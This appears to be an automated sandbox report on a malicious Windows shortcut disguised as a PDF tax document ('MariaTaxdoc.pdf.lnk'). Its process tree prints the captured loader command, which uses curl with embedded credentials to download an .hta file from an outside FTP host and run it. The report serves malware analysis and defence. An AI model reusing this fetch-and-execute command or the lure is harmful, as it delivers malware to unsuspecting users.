Analysis

  • max time kernel
    148s
  • max time network
    129s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/09/2026, 18:33

General

  • Target
    MariaTaxdoc.pdf.lnk
  • Size 2KB
  • Sample260929-w7ef6ada83
  • SHA256 4c8b805e7d05fd64597041d1b00a10e9d352218847920d91cfebdd1c88ff4f40
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\MariaTaxdoc.pdf.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5420
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /c "curl.exe -s -u 36e9b2dc-e876-4f07-9089-9378f5c4d315:1ec2fc46-67a8-4cda-b562-b2c5eb7306e1 -o C:\Users\Admin\AppData\Roaming\MaryTax277399412.hta ftp://hostedshare.com:3093/MaryTax277399412.hta" & C:\Users\Admin\AppData\Roaming\MaryTax277399412.hta
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4108
      • C:\Windows\system32\curl.exe
        curl.exe -s -u 36e9b2dc-e876-4f07-9089-9378f5c4d315:1ec2fc46-67a8-4cda-b562-b2c5eb7306e1 -o C:\Users\Admin\AppData\Roaming\MaryTax277399412.hta ftp://hostedshare.com:3093/MaryTax277399412.hta
        3⤵
          PID:1244

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads